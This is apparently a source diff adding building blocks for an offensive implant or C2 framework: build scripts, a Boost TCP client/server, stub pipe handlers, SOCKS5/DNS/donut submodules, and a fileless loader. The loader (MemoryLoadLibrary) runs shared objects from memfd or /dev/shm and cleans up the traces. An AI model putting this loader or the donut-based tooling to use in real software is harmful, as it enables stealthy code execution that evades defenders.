message(STATUS "CMake-Conan: first find_package() found. Installing dependencies with Conan")
if("default" IN_LIST CONAN_HOST_PROFILE OR "default" IN_LIST CONAN_BUILD_PROFILE)
conan_profile_detect_default()
endif()
if("auto-cmake" IN_LIST CONAN_HOST_PROFILE)
detect_host_profile(${CMAKE_BINARY_DIR}/conan_host_profile)
endif()
construct_profile_argument(_host_profile_flags CONAN_HOST_PROFILE)
construct_profile_argument(_build_profile_flags CONAN_BUILD_PROFILE)
if(EXISTS "${CMAKE_SOURCE_DIR}/conanfile.py")
file(READ "${CMAKE_SOURCE_DIR}/conanfile.py" outfile)
if(NOT "${outfile}" MATCHES ".*CMakeDeps.*")
message(WARNING "Cmake-conan: CMakeDeps generator was not defined in the conanfile")
endif()
set(generator "")
elseif (EXISTS "${CMAKE_SOURCE_DIR}/conanfile.txt")
file(READ "${CMAKE_SOURCE_DIR}/conanfile.txt" outfile)
if(NOT "${outfile}" MATCHES ".*CMakeDeps.*")
message(WARNING "Cmake-conan: CMakeDeps generator was not defined in the conanfile. "
"Please define the generator as it will be mandatory in the future")
endif()
set(generator "-g;CMakeDeps")
endif()
get_property(_multiconfig_generator GLOBAL PROPERTY GENERATOR_IS_MULTI_CONFIG)
if(NOT _multiconfig_generator)
message(STATUS "CMake-Conan: Installing single configuration ${CMAKE_BUILD_TYPE}")
conan_install(${_host_profile_flags} ${_build_profile_flags} ${CONAN_INSTALL_ARGS} ${generator})
else()
message(STATUS "CMake-Conan: Installing both Debug and Release")
conan_install(${_host_profile_flags} ${_build_profile_flags} -s build_type=Release ${CONAN_INSTALL_ARGS} ${generator})
conan_install(${_host_profile_flags} ${_build_profile_flags} -s build_type=Debug ${CONAN_INSTALL_ARGS} ${generator})
endif()
unset(_host_profile_flags)
unset(_build_profile_flags)
unset(_multiconfig_generator)
unset(_conan_install_success)
else()
message(STATUS "CMake-Conan: find_package(${ARGV1}) found, 'conan install' already ran")
unset(_conan_install_success)
endif()
get_property(_conan_generators_folder GLOBAL PROPERTY CONAN_GENERATORS_FOLDER)
# Ensure that we consider Conan-provided packages ahead of any other,
# irrespective of other settings that modify the search order or search paths
# This follows the guidelines from the find_package documentation
# (https://cmake.org/cmake/help/latest/command/find_package.html):
# find_package (<PackageName> PATHS paths... NO_DEFAULT_PATH)
# find_package (<PackageName>)
# Filter out `REQUIRED` from the argument list, as the first call may fail
set(_find_args_${package_name} "${ARGN}")
list(REMOVE_ITEM _find_args_${package_name} "REQUIRED")
if(NOT "MODULE" IN_LIST _find_args_${package_name})
find_package(${package_name} ${_find_args_${package_name}} BYPASS_PROVIDER PATHS "${_conan_generators_folder}" NO_DEFAULT_PATH NO_CMAKE_FIND_ROOT_PATH)
unset(_find_args_${package_name})
endif()
# Invoke find_package a second time - if the first call succeeded,
# this will simply reuse the result. If not, fall back to CMake default search
# behaviour, also allowing modules to be searched.
if(NOT ${package_name}_FOUND)
list(FIND CMAKE_MODULE_PATH "${_conan_generators_folder}" _index)
if(_index EQUAL -1)
list(PREPEND CMAKE_MODULE_PATH "${_conan_generators_folder}")
endif()
unset(_index)
find_package(${package_name} ${ARGN} BYPASS_PROVIDER)
list(REMOVE_ITEM CMAKE_MODULE_PATH "${_conan_generators_folder}")
endif()
endmacro()
cmake_language(
SET_DEPENDENCY_PROVIDER conan_provide_dependency
SUPPORTED_METHODS FIND_PACKAGE
)
macro(conan_provide_dependency_check)
set(_CONAN_PROVIDE_DEPENDENCY_INVOKED FALSE)
get_property(_CONAN_PROVIDE_DEPENDENCY_INVOKED GLOBAL PROPERTY CONAN_PROVIDE_DEPENDENCY_INVOKED)
if(NOT _CONAN_PROVIDE_DEPENDENCY_INVOKED)
message(WARNING "Conan is correctly configured as dependency provider, "
"but Conan has not been invoked. Please add at least one "
"call to `find_package()`.")
if(DEFINED CONAN_COMMAND)
# supress warning in case `CONAN_COMMAND` was specified but unused.
set(_CONAN_COMMAND ${CONAN_COMMAND})
unset(_CONAN_COMMAND)
endif()
endif()
unset(_CONAN_PROVIDE_DEPENDENCY_INVOKED)
endmacro()
# Add a deferred call at the end of processing the top-level directory
# to check if the dependency provider was invoked at all.
cmake_language(DEFER DIRECTORY "${CMAKE_SOURCE_DIR}" CALL conan_provide_dependency_check)
# Configurable variables for Conan profiles
set(CONAN_HOST_PROFILE "default;auto-cmake" CACHE STRING "Conan host profile")
set(CONAN_BUILD_PROFILE "default" CACHE STRING "Conan build profile")
set(CONAN_INSTALL_ARGS "--build=missing" CACHE STRING "Command line arguments for conan install")
find_program(_cmake_program NAMES cmake NO_PACKAGE_ROOT_PATH NO_CMAKE_PATH NO_CMAKE_ENVIRONMENT_PATH NO_CMAKE_SYSTEM_PATH NO_CMAKE_FIND_ROOT_PATH)
if(NOT _cmake_program)
get_filename_component(PATH_TO_CMAKE_BIN "${CMAKE_COMMAND}" DIRECTORY)
set(PATH_TO_CMAKE_BIN "${PATH_TO_CMAKE_BIN}" CACHE INTERNAL "Path where the CMake executable is")
endif()
conanfile.txt
+10
View File
@@ -0,0 +1,10 @@
[requires]
boost/1.86.0
openssl/3.3.1
cpp-httplib/0.16.3
[layout]
cmake_layout
[generators]
CMakeDeps
core
Submodule
+1
Submodule core added at e158a1cda1
libs/CMakeLists.txt
+5
View File
@@ -0,0 +1,5 @@
add_subdirectory(libDns)
add_subdirectory(libSocks5)
add_subdirectory(libBoostSocketHandler)
add_subdirectory(libMemoryModuleDumy)
add_subdirectory(libPipeHandlerDumy)
libs/libBoostSocketHandler/CMakeLists.txt
+25
View File
@@ -0,0 +1,25 @@
cmake_minimum_required(VERSION 3.5)
project(SocketHandler VERSION 1.0.0 LANGUAGES CXX)
set(DEFAULT_BUILD_TYPE "Release")
set(CMAKE_CXX_STANDARD 14)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
set(SOURCE_FILES
src/SocketHandler.cpp
)
include_directories(../src)
add_library(${PROJECT_NAME} STATIC ${SOURCE_FILES})
if(spdlog_FOUND)
target_link_libraries(${PROJECT_NAME} boost::boost spdlog::spdlog)
else()
target_link_libraries(${PROJECT_NAME} boost::boost)
endif()
set_property(TARGET ${PROJECT_NAME} PROPERTY POSITION_INDEPENDENT_CODE ON)
target_include_directories(${PROJECT_NAME} PUBLIC src)
add_subdirectory(tests)
libs/libBoostSocketHandler/src/SocketHandler.cpp
+229
View File
@@ -0,0 +1,229 @@
#include "SocketHandler.hpp"
#include <iostream>
#ifdef spdlog_FOUND
#include "spdlog/spdlog.h"
#else
#define SPDLOG_TRACE(...) (void)0
#define SPDLOG_DEBUG(...) (void)0
#define SPDLOG_ERROR(...) (void)0
#endif
using boost::asio::ip::tcp;
using namespace SocketHandler;
void sendSocketTcp(boost::asio::ip::tcp::socket* socket_, char* data, int nbBytes, boost::system::error_code* err)
{
boost::asio::const_buffers_1 buff(data, nbBytes);
boost::asio::write(*socket_, buff, *err);
}
void readSocketTcp(boost::asio::ip::tcp::socket* socket_, char* data, int nbBytes, boost::system::error_code* err)
{
boost::asio::mutable_buffers_1 buff(data, nbBytes);
boost::asio::read(*socket_, buff, boost::asio::transfer_all(), *err);
}
Server::Server(int port)
{
m_port = port;
}
Server::~Server()
{
delete m_socketTcp;
}
void Server::initServer()
{
SPDLOG_TRACE("initServer");
tcp::acceptor acceptor_(m_ioService, tcp::endpoint(tcp::v4(), m_port));
m_socketTcp=new tcp::socket(m_ioService);
acceptor_.accept(*m_socketTcp);
}
bool Server::sendData(std::string& data)
{
SPDLOG_TRACE("sendData");
int nbBytes = data.size();
sendSocketTcp(m_socketTcp, (char*)&nbBytes, sizeof(int), &m_error);
if(m_error)
{
SPDLOG_ERROR("sendData failed: {0}", m_error.message());
closeConnection();
return false;
}
if(nbBytes!=0)
{
sendSocketTcp(m_socketTcp, (char*)&data[0], nbBytes, &m_error);
if(m_error)
{
SPDLOG_ERROR("sendData failed: {0}", m_error.message());
closeConnection();
return false;
}
}
return true;
}
bool Server::receive(std::string& data)
{
SPDLOG_TRACE("receive");
int nbBytes=0;
readSocketTcp(m_socketTcp, (char*)&nbBytes, sizeof(int), &m_error);
data.resize(nbBytes);
if(m_error)
{
SPDLOG_ERROR("receive failed: {0}", m_error.message());
closeConnection();
return false;
}
if(nbBytes!=0)
{
readSocketTcp(m_socketTcp, &data[0], nbBytes, &m_error);
if(m_error)
{
SPDLOG_ERROR("receive failed: {0}", m_error.message());
closeConnection();
return false;
}
}
return true;
}
void Server::closeConnection()
{
SPDLOG_TRACE("closeConnection");
if(m_socketTcp)
{
delete m_socketTcp;
m_socketTcp=nullptr;
}
}
Client::Client(std::string& ip, int port)
{
m_ipServer = ip;
m_port = port;
}
Client::~Client()
{
if(m_socketTcp)
{
delete m_socketTcp;
m_socketTcp=nullptr;
}
}
bool Client::initConnection()
{
SPDLOG_TRACE("initConnection");
boost::system::error_code error;
m_socketTcp=new tcp::socket(m_ioService);
m_socketTcp->connect( tcp::endpoint( boost::asio::ip::address::from_string(m_ipServer), m_port ), error);
if(error)
return false;
return true;
}
bool Client::sendData(std::string& data)
{
SPDLOG_TRACE("sendData");
int nbBytes = data.size();
sendSocketTcp(m_socketTcp, (char*)&nbBytes, sizeof(int), &m_error);
if(m_error)
{
SPDLOG_ERROR("sendData failed: {0}", m_error.message());
closeConnection();
return false;
}
if(nbBytes!=0)
{
sendSocketTcp(m_socketTcp, (char*)&data[0], nbBytes, &m_error);
if(m_error)
{
SPDLOG_ERROR("sendData failed: {0}", m_error.message());
closeConnection();
return false;
}
}
return true;
}
bool Client::receive(std::string& data)
{
SPDLOG_TRACE("receive");
int nbBytes=0;
readSocketTcp(m_socketTcp, (char*)&nbBytes, sizeof(int), &m_error);
data.resize(nbBytes);
if(m_error)
{
SPDLOG_ERROR("receive failed: {0}", m_error.message());
closeConnection();
return false;
}
if(nbBytes!=0)
{
readSocketTcp(m_socketTcp, &data[0], nbBytes, &m_error);
if(m_error)
{
SPDLOG_ERROR("receive failed: {0}", m_error.message());
closeConnection();
return false;
}
}
return true;
}
void Client::closeConnection()
{
SPDLOG_TRACE("closeConnection");
if(m_socketTcp)
{
delete m_socketTcp;
m_socketTcp=nullptr;
}
}
libs/libBoostSocketHandler/src/SocketHandler.hpp
+62
View File
@@ -0,0 +1,62 @@
#pragma once
#include <fstream>
#include <memory>
#include <chrono>
#include <random>
#include <vector>
#include <thread>
#include <boost/asio.hpp>
#include <boost/bind/bind.hpp>
#include <boost/shared_ptr.hpp>
namespace SocketHandler
{
class Server
{
public:
Server(int port);
~Server();
void initServer();
void closeConnection();
bool sendData(std::string& data);
bool receive(std::string& data);
private:
int m_port;
boost::asio::io_service m_ioService;
boost::asio::ip::tcp::socket* m_socketTcp;
boost::system::error_code m_error;
};
class Client
{
public:
Client(std::string& ip, int port);
~Client();
bool initConnection();
void closeConnection();
bool sendData(std::string& data);
bool receive(std::string& data);
private:
std::string m_ipServer;
int m_port;
boost::asio::io_service m_ioService;
boost::asio::ip::tcp::socket* m_socketTcp;
boost::system::error_code m_error;
};
}
libs/libBoostSocketHandler/tests/CMakeLists.txt
+33
View File
@@ -0,0 +1,33 @@
add_executable(testClient "testClient.cpp" )
if(spdlog_FOUND)
if(WIN32)
target_link_libraries(testClient SocketHandler boost::boost spdlog::spdlog )
else()
target_link_libraries(testClient SocketHandler boost::boost pthread spdlog::spdlog )
endif()
else()
if(WIN32)
target_link_libraries(testClient SocketHandler boost::boost )
else()
target_link_libraries(testClient SocketHandler boost::boost pthread )
endif()
endif()
add_executable(testServer "testServer.cpp" )
if(spdlog_FOUND)
if(WIN32)
target_link_libraries(testServer SocketHandler boost::boost spdlog::spdlog )
else()
target_link_libraries(testServer SocketHandler boost::boost pthread spdlog::spdlog )
endif()
else()
if(WIN32)
target_link_libraries(testServer SocketHandler boost::boost )
else()
target_link_libraries(testServer SocketHandler boost::boost pthread )
endif()
endif()
libs/libBoostSocketHandler/tests/testClient.cpp
+45
View File
@@ -0,0 +1,45 @@
#include "SocketHandler.hpp"
#include <iostream>
using namespace std;
using namespace SocketHandler;
int main()
{
int remotePort=4444;
string remoteHost="127.0.0.1";
Client* client=new Client(remoteHost, remotePort);
while(1)
{
while(!client->initConnection())
{
sleep(1);
}
string out="Hello from the client.";
bool res = client->sendData(out);
if(res)
{
string ret;
res = client->receive(ret);
if(res)
{
std::cout << "Client received - " << ret << std::endl;
}
else
std::cout << "Client receive failed" << std::endl;
}
else
std::cout << "Client send failed" << std::endl;
client->closeConnection();
sleep(1);
}
}
libs/libBoostSocketHandler/tests/testServer.cpp
+40
View File
@@ -0,0 +1,40 @@
#include "SocketHandler.hpp"
#include <iostream>
using namespace std;
using namespace SocketHandler;
int main()
{
int port=4444;
Server* server = new Server(port);
while(1)
{
server->initServer();
string ret;
bool res = server->receive(ret);
if(res)
{
std::cout << "Server received - " << ret << std::endl;
string out="Hello from server.";
res = server->sendData(out);
if(res)
{
}
else
std::cout << "Server send failed" << std::endl;
}
else
std::cout << "Server receive failed" << std::endl;
server->closeConnection();
}
delete server;
}
libs/libDns
Submodule
+1
Submodule libs/libDns added at 3539d0edb1
libs/libMemoryModuleDumy/CMakeLists.txt
+16
View File
@@ -0,0 +1,16 @@
cmake_minimum_required(VERSION 3.5)
project(MemoryModule VERSION 1.0.0 LANGUAGES CXX)
set(DEFAULT_BUILD_TYPE "Release")
set(CMAKE_CXX_STANDARD 14)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
set(SOURCE_FILES
src/MemoryModule.cpp
)
include_directories(../src)
add_library(${PROJECT_NAME} STATIC ${SOURCE_FILES})
target_include_directories(${PROJECT_NAME} PUBLIC src)
set_property(TARGET ${PROJECT_NAME} PROPERTY POSITION_INDEPENDENT_CODE ON)
libs/libMemoryModuleDumy/README.md
+11
View File
@@ -0,0 +1,11 @@
# PipeHandler
## Requirement
Client can connect and disconnect at any time.
Server can connect and disconnect at any time.
Multiple client should be able to connect to the same server.
Client and Server are monothread.
libs/libMemoryModuleDumy/src/MemoryModule.cpp
+139
View File
@@ -0,0 +1,139 @@
#include "MemoryModule.h"
#include <fstream>
#include <dlfcn.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#include <unistd.h>
void generateRandomShmName(char *name, size_t length)
{
// Define the character set to choose from
const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
size_t charsetSize = sizeof(charset) - 1;
// Seed the random number generator (if not already done)
srand(time(NULL));
// Generate random characters
for (size_t i = 0; i < length; i++) {
int randomIndex = rand() % charsetSize;
name[i] = charset[randomIndex];
}
// Null-terminate the string
name[length] = '\0';
}
int kernel_version()
{
struct utsname buffer;
uname(&buffer);
// printf("system name = %s\n", buffer.sysname);
// printf("node name = %s\n", buffer.nodename);
// printf("release = %s\n", buffer.release);
// printf("version = %s\n", buffer.version);
// printf("machine = %s\n", buffer.machine);
long ver[16];
char* p = buffer.release;
int i=0;
while (*p) {
if (isdigit(*p)) {
ver[i] = strtol(p, &p, 10);
i++;
} else {
p++;
}
}
// printf("Kernel %ld Major %ld Minor %ld Patch %ld\n", ver[0], ver[1], ver[2], ver[3]);
if (ver[0] < 3)
return 0;
else if (ver[0] > 3)
return 1;
if (ver[1] < 17)
return 0;
else
return 1;
}
HMEMORYMODULE MemoryLoadLibrary(const void *moduleData, size_t size)
{
char shmName[6];
generateRandomShmName(shmName, 5);
//
// create the shms
//
int shm_fd;
// std::cout << "kernel_version() " << kernel_version() << std::endl;
//If we have a kernel < 3.17
if (kernel_version() == 0)
{
shm_fd = shm_open(shmName, O_RDWR | O_CREAT, S_IRWXU);
if (shm_fd < 0)
{
// fprintf(stderr, "[-] Could not open file descriptor\n");
return nullptr;
}
}
// If we have a kernel >= 3.17
else
{
shm_fd = memfd_create(shmName, 1);
if (shm_fd < 0)
{
// fprintf(stderr, "[-] Could not open file descriptor\n");
return nullptr;
}
}
// memcpy in shm
write(shm_fd, moduleData, size);
void *handle=NULL;
// printf("[+] Trying to load Shared Object!\n");
if(kernel_version() == 0)
{
std::string path = "/dev/shm/";
path+=shmName;
handle = dlopen(path.c_str(), RTLD_LAZY);
close(shm_fd);
shm_unlink(path.c_str());
}
else
{
// When we pass the file descriptor, as the number is alwayse the same dlopen give use the same handle everytime
// We create a syslink with a random name to bypass this restriction
std::string path = "/proc/";
path+=std::to_string(getpid());
path+="/fd/";
path+=std::to_string(shm_fd);
std::string symlinkPath = "/tmp/";
symlinkPath+=shmName;
symlink(path.c_str(), symlinkPath.c_str());
handle = dlopen(symlinkPath.c_str(), RTLD_LAZY);
unlink(symlinkPath.c_str());
close(shm_fd);
}
return handle;
}
libs/libMemoryModuleDumy/src/MemoryModule.h
+9
View File
@@ -0,0 +1,9 @@
#pragma once
#include <string>
#include <iostream>
typedef void *HMEMORYMODULE;
HMEMORYMODULE MemoryLoadLibrary(const void *moduleData, size_t size);
libs/libPipeHandlerDumy/CMakeLists.txt
+15
View File
@@ -0,0 +1,15 @@
cmake_minimum_required(VERSION 3.5)
project(PipeHandler VERSION 1.0.0 LANGUAGES CXX)
set(DEFAULT_BUILD_TYPE "Release")
set(CMAKE_CXX_STANDARD 14)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
set(SOURCE_FILES
src/PipeHandler.cpp
)
include_directories(../src)
add_library(${PROJECT_NAME} STATIC ${SOURCE_FILES})
target_include_directories(${PROJECT_NAME} PUBLIC src)
libs/libPipeHandlerDumy/README.md
+11
View File
@@ -0,0 +1,11 @@
# PipeHandler
## Requirement
Client can connect and disconnect at any time.
Server can connect and disconnect at any time.
Multiple client should be able to connect to the same server.
Client and Server are monothread.
libs/libPipeHandlerDumy/src/PipeHandler.cpp
+86
View File
@@ -0,0 +1,86 @@
#include "PipeHandler.hpp"
using namespace PipeHandler;
// https://learn.microsoft.com/en-us/windows/win32/ipc/multithreaded-pipe-server
Server::Server(const std::string& pipeName)
{
m_pipeName="\\\\.\\pipe\\";
m_pipeName+=pipeName;
}
Server::~Server()
{
}
bool Server::reset()
{
return true;
}
bool Server::initServer()
{
return true;
}
bool Server::sendData(std::string& data)
{
return true;
}
bool Server::receiveData(std::string& data)
{
return true;
}
// https://learn.microsoft.com/en-us/windows/win32/ipc/named-pipe-client
Client::Client(const std::string& pipeName)
{
}
Client::~Client()
{
}
bool Client::initConnection()
{
return true;
}
bool Client::closeConnection()
{
return true;
}
bool Client::reset()
{
return true;
}
bool Client::sendData(std::string& data)
{
return true;
}
bool Client::receiveData(std::string& data)
{
return true;
}
libs/libPipeHandlerDumy/src/PipeHandler.hpp
+52
View File
@@ -0,0 +1,52 @@
#pragma once
#include <thread>
#include <string>
#include <iostream>
namespace PipeHandler
{
class Server
{
public:
Server(const std::string& pipeName);
~Server();
bool initServer();
bool sendData(std::string& data);
bool receiveData(std::string& data);
private:
bool reset();
bool m_isInit;
std::string m_pipeName;
};
class Client
{
public:
Client(const std::string& pipeName);
~Client();
bool initConnection();
bool closeConnection();
bool sendData(std::string& data);
bool receiveData(std::string& data);
private:
bool reset();
bool m_isInit;
std::string m_pipeName;
};
}
libs/libSocks5
Submodule
+1
Submodule libs/libSocks5 added at 88357800cf
thirdParty/CMakeLists.txt
Vendored
+5
View File
@@ -0,0 +1,5 @@
# donut
file(COPY ${CMAKE_SOURCE_DIR}/thirdParty/donut DESTINATION ${CMAKE_BINARY_DIR}/thirdParty)
execute_process(COMMAND bash -c "cd ${CMAKE_BINARY_DIR}/thirdParty/donut && make -f Makefile")
set(Donut "${CMAKE_BINARY_DIR}/thirdParty/donut/lib/libdonut.a" PARENT_SCOPE)
set(aplib64 "${CMAKE_BINARY_DIR}/thirdParty/donut/lib/aplib64.a" PARENT_SCOPE)
thirdParty/base64
Vendored Submodule
+1
Submodule thirdParty/base64 added at 951de609db
thirdParty/donut
Vendored Submodule
+1
Submodule thirdParty/donut added at 61af8ccee3
thirdParty/nlohmann/json.hpp
Vendored
+24766
View File
File diff suppressed because it is too large Load Diff